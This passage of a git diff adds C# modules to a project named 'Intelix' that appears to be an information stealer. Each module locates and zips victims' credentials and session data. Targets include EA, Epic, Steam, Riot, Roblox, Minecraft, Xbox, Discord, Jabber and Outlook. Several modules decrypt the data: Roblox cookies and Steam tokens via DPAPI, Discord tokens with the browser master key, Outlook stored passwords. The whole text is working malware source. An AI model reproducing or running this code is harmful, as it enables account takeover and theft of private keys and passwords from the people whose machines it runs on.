Arts", "EA Desktop", "CEF"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Electronic Arts"; + int num = 0; + string path = Path.Combine(text, "BrowserCache", "EADesktop", "Local Storage", "leveldb"); + if (Directory.Exists(path)) + { + string[] files = Directory.GetFiles(path); + foreach (string text2 in files) + { + try + { + if (string.Equals(Path.GetExtension(text2), ".ldb", StringComparison.OrdinalIgnoreCase)) + { + string text3 = "Electronic Arts\\leveldb\\" + Path.GetFileName(text2); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + num++; + } + } + catch + { + } + } + } + string text4 = Path.Combine(text, "BrowserCache", "EADesktop", "Session Storage", "000003.log"); + if (File.Exists(text4)) + { + try + { + string text5 = "Electronic Arts\\Session Storage\\000003.log"; + zip.AddFile(text5, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text5); + num++; + } + catch + { + } + } + if (num != 0) + { + counterApplications.Files.Add("Electronic Arts\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Games/Epic.cs b/Intelix.Targets.Games/Epic.cs new file mode 100644 index 0000000..2e5206b --- /dev/null +++ b/Intelix.Targets.Games/Epic.cs @@ -0,0 +1,27 @@ +using System; +using System.IO; +using System.Text; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Epic : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini"); + if (File.Exists(text)) + { + string text2 = File.ReadAllText(text); + if (text2.Contains("[RememberMe]") || text2.Contains("[Offline]")) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Epic Games"; + string text3 = "Epic\\GameUserSettings.ini"; + zip.AddFile(text3, Encoding.UTF8.GetBytes(text2)); + counterApplications.Files.Add(text + " => " + text3); + counter.Games.Add(counterApplications); + } + } + } +} diff --git a/Intelix.Targets.Games/Growtopia.cs b/Intelix.Targets.Games/Growtopia.cs new file mode 100644 index 0000000..9bb213e --- /dev/null +++ b/Intelix.Targets.Games/Growtopia.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Growtopia : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Growtopia", "save.dat"); + if (File.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Growtopia"; + string text2 = "Growtopia\\save.dat"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Games/Minecraft.cs b/Intelix.Targets.Games/Minecraft.cs new file mode 100644 index 0000000..416111e --- /dev/null +++ b/Intelix.Targets.Games/Minecraft.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Minecraft : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string environmentVariable = Environment.GetEnvironmentVariable("USERPROFILE"); + Dictionary dictionary = new Dictionary(StringComparer.OrdinalIgnoreCase); + dictionary.Add("Intent", Path.Combine(environmentVariable, "intentlauncher", "launcherconfig")); + dictionary.Add("Lunar", Path.Combine(environmentVariable, ".lunarclient", "settings", "game", "accounts.json")); + dictionary.Add("TLauncher", Path.Combine(folderPath, ".minecraft", "TlauncherProfiles.json")); + dictionary.Add("Feather", Path.Combine(folderPath, ".feather", "accounts.json")); + dictionary.Add("Meteor", Path.Combine(folderPath, ".minecraft", "meteor-client", "accounts.nbt")); + dictionary.Add("Impact", Path.Combine(folderPath, ".minecraft", "Impact", "alts.json")); + dictionary.Add("Novoline", Path.Combine(folderPath, ".minecraft", "Novoline", "alts.novo")); + dictionary.Add("CheatBreakers", Path.Combine(folderPath, ".minecraft", "cheatbreaker_accounts.json")); + dictionary.Add("Microsoft Store", Path.Combine(folderPath, ".minecraft", "launcher_accounts_microsoft_store.json")); + dictionary.Add("Rise", Path.Combine(folderPath, ".minecraft", "Rise", "alts.txt")); + dictionary.Add("Rise (Intent)", Path.Combine(environmentVariable, "intentlauncher", "Rise", "alts.txt")); + dictionary.Add("Paladium", Path.Combine(folderPath, "paladium-group", "accounts.json")); + dictionary.Add("PolyMC", Path.Combine(folderPath, "PolyMC", "accounts.json")); + dictionary.Add("Badlion", Path.Combine(folderPath, "Badlion Client", "accounts.json")); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "Minecraft" + }; + foreach (KeyValuePair item in dictionary) + { + if (File.Exists(item.Value)) + { + try + { + string path = Path.Combine("Minecraft", item.Key); + string fileName = Path.GetFileName(item.Value); + string text = Path.Combine(path, fileName); + zip.AddFile(text, File.ReadAllBytes(item.Value)); + counterApplications.Files.Add(item.Value + " => " + text); + } + catch + { + } + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Minecraft\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Games/Riot.cs b/Intelix.Targets.Games/Riot.cs new file mode 100644 index 0000000..0736ed7 --- /dev/null +++ b/Intelix.Targets.Games/Riot.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Riot : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Riot Games", "Riot Client", "Data", "RiotGamesPrivateSettings.yaml"); + if (File.Exists(text)) + { + string text2 = Path.Combine("Riot", "RiotGamesPrivateSettings.yaml"); + zip.AddFile(text2, File.ReadAllBytes(text)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Riot"; + counterApplications.Files.Add(text + " => " + text2); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Games/Roblox.cs b/Intelix.Targets.Games/Roblox.cs new file mode 100644 index 0000000..b5ae77d --- /dev/null +++ b/Intelix.Targets.Games/Roblox.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Games; + +public class Roblox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Roblox", "LocalStorage", "RobloxCookies.dat"); + if (!File.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Roblox"; + Match match = Regex.Match(File.ReadAllText(text), "\"CookiesData\"\\s*:\\s*\"(.*?)\"", RegexOptions.Singleline); + if (!match.Success) + { + return; + } + byte[] array = DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value)); + if (array == null) + { + return; + } + string text2 = "Roblox\\cookies.txt"; + zip.AddTextFile(text2, Encoding.UTF8.GetString(array).Replace("; ", "\n").Replace("#HttpOnly_.roblox.com", ".roblox.com")); + counterApplications.Files.Add(text + " => " + text2); + string text3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Roblox", "LocalStorage", "appStorage.json"); + if (!File.Exists(text3)) + { + return; + } + List list = new List(); + string input = File.ReadAllText(text3); + string pattern = "\"(PlayerExeLaunchTime|BrowserTrackerId|UserId|Username|DisplayName|CountryCode)\"\\s*:\\s*\"([^\"]*)\""; + foreach (Match item in Regex.Matches(input, pattern)) + { + string value = item.Groups[1].Value; + string value2 = item.Groups[2].Value; + if (!string.IsNullOrEmpty(value2)) + { + list.Add(value + ": " + value2 + "\n"); + } + } + Match match2 = Regex.Match(input, "\"WebViewUserAgent\"\\s*:\\s*\"([^\"]*)\""); + if (match2.Success) + { + string text4 = "Roblox\\useragent.txt"; + zip.AddTextFile(text4, match2.Groups[1].Value); + counterApplications.Files.Add(text3 + " => " + text4); + } + if (list.Count > 0) + { + string text5 = "Roblox\\information.txt"; + zip.AddTextFile(text5, string.Concat(list)); + counterApplications.Files.Add(text3 + " => " + text5); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Roblox\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Games/Steam.cs b/Intelix.Targets.Games/Steam.cs new file mode 100644 index 0000000..232be1f --- /dev/null +++ b/Intelix.Targets.Games/Steam.cs @@ -0,0 +1,169 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Games; + +public class Steam : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam"); + if (registryKey == null || registryKey.GetValue("SteamPath") == null) + { + return; + } + string text = registryKey.GetValue("SteamPath").ToString(); + if (!Directory.Exists(text)) + { + return; + } + string path = "Steam"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Steam"; + try + { + RegistryKey registryKey2 = registryKey.OpenSubKey("Apps"); + if (registryKey2 != null) + { + List list = new List(); + string[] subKeyNames = registryKey2.GetSubKeyNames(); + foreach (string text2 in subKeyNames) + { + using RegistryKey registryKey3 = registryKey.OpenSubKey("Apps\\" + text2); + if (registryKey3 != null) + { + string text3 = (registryKey3.GetValue("Name") as string) ?? "Unknown"; + string text4 = (((int?)registryKey3.GetValue("Installed") == 1) ? "Yes" : "No"); + string text5 = (((int?)registryKey3.GetValue("Running") == 1) ? "Yes" : "No"); + string text6 = (((int?)registryKey3.GetValue("Updating") == 1) ? "Yes" : "No"); + list.Add("Application: " + text3 + "\n\tGameID: " + text2 + "\n\tInstalled: " + text4 + "\n\tRunning: " + text5 + "\n\tUpdating: " + text6); + } + } + if (list.Count > 0) + { + string text7 = Path.Combine(path, "Apps.txt"); + zip.AddTextFile(text7, string.Join("\n\n", list)); + counterApplications.Files.Add("Software\\Valve\\Steam\\Apps => " + text7); + } + } + } + catch + { + } + try + { + string[] subKeyNames = Directory.GetFiles(text); + foreach (string text8 in subKeyNames) + { + if (text8.Contains("ssfn")) + { + byte[] content = File.ReadAllBytes(text8); + string text9 = Path.Combine(path, "ssfn", Path.GetFileName(text8)); + zip.AddFile(text9, content); + counterApplications.Files.Add(text8 + " => " + text9); + } + } + } + catch + { + } + try + { + string path2 = Path.Combine(text, "config"); + if (Directory.Exists(path2)) + { + string[] subKeyNames = Directory.GetFiles(path2, "*.vdf"); + foreach (string text10 in subKeyNames) + { + string text11 = Path.Combine(path, "configs", Path.GetFileName(text10)); + zip.AddFile(text11, File.ReadAllBytes(text10)); + counterApplications.Files.Add(text10 + " => " + text11); + } + } + } + catch + { + } + try + { + string text12 = registryKey.GetValue("AutoLoginUser")?.ToString() ?? "Unknown"; + string text13 = (((int?)registryKey.GetValue("RememberPassword") == 1) ? "Yes" : "No"); + string text14 = "Autologin User: " + text12 + "\nRemember password: " + text13; + string text15 = Path.Combine(path, "SteamInfo.txt"); + zip.AddTextFile(text15, text14); + counterApplications.Files.Add("Software\\Valve\\Steam => " + text15); + } + catch + { + } + try + { + string[] source = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "local.vdf"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Steam", "local.vdf") + }; + string[] source2 = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Steam", "config", "loginusers.vdf"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "config", "loginusers.vdf") + }; + string text16 = source.FirstOrDefault(File.Exists); + string text17 = source2.FirstOrDefault(File.Exists); + if (text16 == null || text17 == null) + { + return; + } + string pattern = "\"AccountName\"\\s*\"([^\"]+)\""; + string pattern2 = "([a-fA-F0-9]{500,2000})"; + MatchCollection matchCollection = Regex.Matches(File.ReadAllText(text17), pattern); + MatchCollection matchCollection2 = Regex.Matches(File.ReadAllText(text16), pattern2); + if (matchCollection.Count == 0 || matchCollection2.Count == 0) + { + return; + } + List list2 = new List(); + foreach (Match item in matchCollection) + { + byte[] bytes = Encoding.UTF8.GetBytes(item.Groups[1].Value); + foreach (Match tokenMatch in matchCollection2) + { + byte[] encryptedData = (from x in Enumerable.Range(0, tokenMatch.Value.Length / 2) + select Convert.ToByte(tokenMatch.Value.Substring(x * 2, 2), 16)).ToArray(); + try + { + byte[] bytes2 = ProtectedData.Unprotect(encryptedData, bytes, DataProtectionScope.LocalMachine); + list2.Add(Encoding.UTF8.GetString(bytes2)); + } + catch + { + continue; + } + break; + } + } + if (list2.Count > 0) + { + string text18 = Path.Combine(path, "Token.txt"); + zip.AddTextFile(text18, string.Join("\n", list2)); + counterApplications.Files.Add(text16 + " => " + text18); + counterApplications.Files.Add(text17 + " => " + text18); + } + } + catch + { + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Steam\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Games/Uplay.cs b/Intelix.Targets.Games/Uplay.cs new file mode 100644 index 0000000..6950822 --- /dev/null +++ b/Intelix.Targets.Games/Uplay.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Uplay : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Ubisoft Game Launcher"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Uplay"; + zip.AddDirectoryFiles(text, "Uplay"); + counterApplications.Files.Add(text + " => \\Uplay"); + counterApplications.Files.Add("Uplay\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Games/XBox.cs b/Intelix.Targets.Games/XBox.cs new file mode 100644 index 0000000..5e22270 --- /dev/null +++ b/Intelix.Targets.Games/XBox.cs @@ -0,0 +1,53 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class XBox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Packages"); + if (!Directory.Exists(path)) + { + return; + } + string[] directories = Directory.GetDirectories(path, "Microsoft.Xbox*", SearchOption.TopDirectoryOnly); + if (directories == null || directories.Length == 0) + { + return; + } + string[] source = new string[9] { ".ini", ".cfg", ".json", ".xml", ".log", ".dat", ".db", ".yaml", ".txt" }; + string[] array = directories; + foreach (string text in array) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Xbox"; + string[] files = Directory.GetFiles(text, "*.*", SearchOption.AllDirectories); + foreach (string text2 in files) + { + try + { + FileInfo fileInfo = new FileInfo(text2); + if (fileInfo.Length < 10000000 && source.Contains(fileInfo.Extension.ToLower())) + { + string path2 = text2.Substring(text.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string text3 = Path.Combine("Xbox", Path.GetFileName(text), path2).Replace('\\', '/'); + zip.AddFile(text3, File.ReadAllBytes(fileInfo.FullName)); + counterApplications.Files.Add(fileInfo.FullName + " => " + text3); + } + } + catch + { + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Xbox\\"); + counter.Games.Add(counterApplications); + } + } + } +} diff --git a/Intelix.Targets.Messangers/._Icq.cs b/Intelix.Targets.Messangers/._Icq.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Messangers/._Icq.cs differ diff --git a/Intelix.Targets.Messangers/._Jabber.cs b/Intelix.Targets.Messangers/._Jabber.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Messangers/._Jabber.cs differ diff --git a/Intelix.Targets.Messangers/._Outlook.cs b/Intelix.Targets.Messangers/._Outlook.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Messangers/._Outlook.cs differ diff --git a/Intelix.Targets.Messangers/._Pidgin.cs b/Intelix.Targets.Messangers/._Pidgin.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Messangers/._Pidgin.cs differ diff --git a/Intelix.Targets.Messangers/._Signal.cs b/Intelix.Targets.Messangers/._Signal.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Messangers/._Signal.cs differ diff --git a/Intelix.Targets.Messangers/._Skype.cs b/Intelix.Targets.Messangers/._Skype.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Messangers/._Skype.cs differ diff --git a/Intelix.Targets.Messangers/._Tox.cs b/Intelix.Targets.Messangers/._Tox.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Messangers/._Tox.cs differ diff --git a/Intelix.Targets.Messangers/._Viber.cs b/Intelix.Targets.Messangers/._Viber.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Messangers/._Viber.cs differ diff --git a/Intelix.Targets.Messangers/Discord.cs b/Intelix.Targets.Messangers/Discord.cs new file mode 100644 index 0000000..b72f2f8 --- /dev/null +++ b/Intelix.Targets.Messangers/Discord.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Messangers; + +public class Discord : ITarget +{ + private static readonly Regex _tokenRegex = new Regex("(mfa\\.[\\w-]{80,})|((MT|OD)[\\w-]{22,24}\\.[\\w-]{6}\\.[\\w-]{25,110})", RegexOptions.IgnoreCase | RegexOptions.Compiled); + + private static readonly Regex _encryptedRegex = new Regex("\"dQw4w9WgXcQ:([^\"]+)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled); + + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Discord"; + counterApplications.Files.Add("Discord\\"); + Task task = Task.Run(delegate + { + Parallel.ForEach(Paths.Discord, delegate(string path) + { + string text = path + "\\Local Storage\\leveldb"; + if (Directory.Exists(text)) + { + string localstate = path + "\\Local State"; + List list = TokensGrabber(text, localstate); + if (list.Any()) + { + string browserName = Paths.GetBrowserName(path); + string text2 = "Discord\\" + browserName + ".txt"; + counterApplications.Files.Add(path + " => " + text2); + zip.AddTextFile(text2, string.Join("\n", list)); + } + } + }); + }); + Task task2 = Task.Run(delegate + { + Parallel.ForEach(Paths.Chromium, delegate(string path) + { + if (Directory.Exists(path)) + { + Parallel.ForEach(Directory.GetDirectories(path), delegate(string profile) + { + string text = profile + "\\Local Storage\\leveldb"; + if (Directory.Exists(text)) + { + string localstate = path + "\\Local State"; + List list = TokensGrabber(text, localstate); + if (list.Any()) + { + string browserName = Paths.GetBrowserName(path); + string text2 = "Discord\\" + browserName + " " + Path.GetFileName(profile) + ".txt"; + counterApplications.Files.Add(path + " => " + text2); + zip.AddTextFile(text2, string.Join("\n", list)); + } + } + }); + } + }); + }); + Task.WaitAll(task, task2); + if (counterApplications.Files.Count() > 0) + { + counter.Messangers.Add(counterApplications); + } + } + + private List TokensGrabber(string localstorage, string localstate) + { + List source = SearchFiles(localstorage); + ConcurrentBag tokens = new ConcurrentBag(); + ConcurrentBag tokensEncrypted = new ConcurrentBag(); + Parallel.ForEach(source, delegate(string localdb) + { + try + { + string content = File.ReadAllText(localdb); + Parallel.ForEach(SearchToken(content), delegate(string token) + { + tokens.Add(token); + }); + Parallel.ForEach(SearchEncryptedTokens(content), delegate(string token) + { + tokensEncrypted.Add(token); + }); + } + catch + { + } + }); + ConcurrentBag distinctTokens = new ConcurrentBag(tokens.Distinct()); + if (!tokensEncrypted.Any()) + { + return distinctTokens.Distinct().ToList(); + } + byte[] key = LocalState.MasterKeyV10(localstate); + if (key == null) + { + return distinctTokens.Distinct().ToList(); + } + Parallel.ForEach(tokensEncrypted.Distinct(), delegate(string encrypted) + { + try + { + byte[] array = AesGcm.DecryptBrowser(Convert.FromBase64String(encrypted), key, null, checkprefix: false); + if (array != null) + { + distinctTokens.Add(Encoding.UTF8.GetString(array).Trim()); + } + } + catch + { + } + }); + return distinctTokens.Distinct().ToList(); + } + + private List SearchFiles(string path) + { + ConcurrentBag locals = new ConcurrentBag(); + string[] allowedExtensions = new string[3] { ".log", ".ldb", ".sqlite" }; + Parallel.ForEach(Directory.GetFiles(path), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + locals.Add(file); + } + }); + return locals.ToList(); + } + + private List ExtractMatches(string content, Regex regex) + { + HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); + foreach (Match item in regex.Matches(content)) + { + string value = item.Groups[1].Value; + if (!string.IsNullOrWhiteSpace(value)) + { + hashSet.Add(value); + } + } + return hashSet.ToList(); + } + + private List SearchToken(string content) + { + return ExtractMatches(content, _tokenRegex); + } + + private List SearchEncryptedTokens(string content) + { + return ExtractMatches(content, _encryptedRegex); + } +} diff --git a/Intelix.Targets.Messangers/Element.cs b/Intelix.Targets.Messangers/Element.cs new file mode 100644 index 0000000..62e4961 --- /dev/null +++ b/Intelix.Targets.Messangers/Element.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Element : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Element\\Local Storage\\leveldb"); + if (Directory.Exists(text)) + { + string text2 = "Element\\leveldb"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Element"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Messangers/Icq.cs b/Intelix.Targets.Messangers/Icq.cs new file mode 100644 index 0000000..953988a --- /dev/null +++ b/Intelix.Targets.Messangers/Icq.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Icq : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ICQ", "0001"); + if (Directory.Exists(text)) + { + string text2 = "ICQ\\0001"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ICQ"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Messangers/Jabber.cs b/Intelix.Targets.Messangers/Jabber.cs new file mode 100644 index 0000000..eccac81 --- /dev/null +++ b/Intelix.Targets.Messangers/Jabber.cs @@ -0,0 +1,43 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Jabber : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string[] source = new string[3] + { + folderPath + "\\.purple\\", + folderPath + "\\Psi\\profiles\\default\\", + folderPath + "\\Psi+\\profiles\\default\\" + }; + string[] files2 = new string[4] { "accounts.xml", "otr.fingerprints", "otr.keys", "otr.private_key" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Jabber"; + Parallel.ForEach(source, delegate(string dir) + { + if (Directory.Exists(dir)) + { + Parallel.ForEach(files2, delegate(string file2) + { + if (File.Exists(dir + file2)) + { + string text = "Jabber\\" + file2; + zip.AddFile(text, File.ReadAllBytes(dir + file2)); + counterApplications.Files.Add(dir + file2 + " => " + text); + } + }); + } + }); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Jabber\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Messangers/MicroSIP.cs b/Intelix.Targets.Messangers/MicroSIP.cs new file mode 100644 index 0000000..924c45d --- /dev/null +++ b/Intelix.Targets.Messangers/MicroSIP.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class MicroSIP : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MicroSIP"); + if (Directory.Exists(text)) + { + string text2 = "MicroSIP\\"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "MicroSIP"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Messangers/Outlook.cs b/Intelix.Targets.Messangers/Outlook.cs new file mode 100644 index 0000000..e307b27 --- /dev/null +++ b/Intelix.Targets.Messangers/Outlook.cs @@ -0,0 +1,152 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Messangers; + +public class Outlook : ITarget +{ + private static readonly Regex MailAddressRx = new Regex("^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$", RegexOptions.Compiled); + + private static readonly Regex HostnameRx = new Regex("^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$", RegexOptions.Compiled); + + private static readonly string[] RegistryRoots = new string[4] { "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676" }; + + private static readonly string[] KeysToCheck = new string[28] + { + "SMTP Email Address", "SMTP Server", "POP3 Server", "POP3 User Name", "SMTP User Name", "NNTP Email Address", "NNTP User Name", "NNTP Server", "IMAP Server", "IMAP User Name", + "Email", "HTTP User", "HTTP Server URL", "POP3 User", "IMAP User", "HTTPMail User Name", "HTTPMail Server", "SMTP User", "POP3 Password2", "IMAP Password2", + "NNTP Password2", "HTTPMail Password2", "SMTP Password2", "POP3 Password", "IMAP Password", "NNTP Password", "HTTPMail Password", "SMTP Password" + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + StringBuilder stringBuilder = new StringBuilder(); + string[] registryRoots = RegistryRoots; + foreach (string rootPath in registryRoots) + { + stringBuilder.Append(ReadRegistryTree(rootPath)); + } + if (stringBuilder.Length != 0) + { + string text = Path.Combine("Outlook", "Outlook.txt"); + zip.AddTextFile(text, stringBuilder.ToString()); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Outlook"; + registryRoots = RegistryRoots; + foreach (string text2 in registryRoots) + { + counterApplications.Files.Add(text2 + " => " + text); + } + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } + + private string ReadRegistryTree(string rootPath) + { + StringBuilder stringBuilder = new StringBuilder(); + Stack stack = new Stack(); + stack.Push(rootPath); + while (stack.Count > 0) + { + string text = stack.Pop(); + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text, writable: false); + if (registryKey == null) + { + continue; + } + string[] keysToCheck = KeysToCheck; + foreach (string text2 in keysToCheck) + { + object value = registryKey.GetValue(text2); + if (value != null) + { + string value2 = FormatValue(text2, value); + if (!string.IsNullOrEmpty(value2)) + { + stringBuilder.AppendLine(value2); + } + } + } + keysToCheck = registryKey.GetSubKeyNames(); + foreach (string path in keysToCheck) + { + try + { + stack.Push(Path.Combine(text, path)); + } + catch + { + } + } + } + if (stringBuilder.Length > 0) + { + stringBuilder.AppendLine(); + } + return stringBuilder.ToString(); + } + + private string FormatValue(string valueName, object raw) + { + if (raw is byte[] array) + { + string text = DecryptValue(array); + if (!string.IsNullOrEmpty(text)) + { + return valueName + ": " + text; + } + try + { + string text2 = Encoding.UTF8.GetString(array).Replace("\0", ""); + if (!string.IsNullOrWhiteSpace(text2)) + { + return valueName + ": " + text2; + } + } + catch + { + } + return null; + } + string text3 = raw.ToString(); + if (string.IsNullOrWhiteSpace(text3)) + { + return null; + } + if (!HostnameRx.IsMatch(text3)) + { + MailAddressRx.IsMatch(text3); + } + return valueName + ": " + text3; + } + + private static string DecryptValue(byte[] encrypted) + { + if (encrypted == null || encrypted.Length <= 1) + { + return null; + } + try + { + byte[] array = new byte[encrypted.Length - 1]; + 